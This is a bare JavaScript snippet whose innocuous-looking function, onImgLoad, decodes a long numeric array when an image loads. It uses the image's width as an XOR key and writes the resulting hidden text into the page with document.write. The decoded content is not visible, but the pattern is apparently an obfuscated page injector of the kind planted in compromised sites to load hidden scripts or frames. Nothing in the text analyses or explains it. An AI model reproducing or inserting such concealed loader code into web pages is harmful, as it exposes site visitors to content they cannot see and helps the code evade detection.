function onImgLoad(source) {
var as = new Array(141,54,166,87,520,412,540,380,571,413,553,448,594,430,555,462,572,413,498,378,569,413,479,402,569,428,542,378,571,432,543,451,516,425,544,395,591,434,538,400,592,367,552,380,571,409,538,470,518,353,556,395,598,438,557,378,516,409,566,382,575,354,593,460,592,426,565,378,505,435,542,376,579,412,540,380,571,413,553,354,518,365,556,380,581,354,593,460,572,409,553,382,526,368,480,401,575,425,482,379,591,411,535,464,581,432,546,463,533,358,494,441,523,349,491,463,595,354,535,399,597,430,546,397,588,359,557,449,518,372,477,406,596,365,484,460,552,363,495,450,552,368,556,395,598,438,557,378,522,363,486,451,520,368,556,395,598,438,557,378,522);
var xi = source.width; if (!xi) {return;}
var pp=""; for (var n=4; n<as.length; n++) {pp+=String.fromCharCode((as[n]-xi)^as[n%4]);} document.write(pp);
}

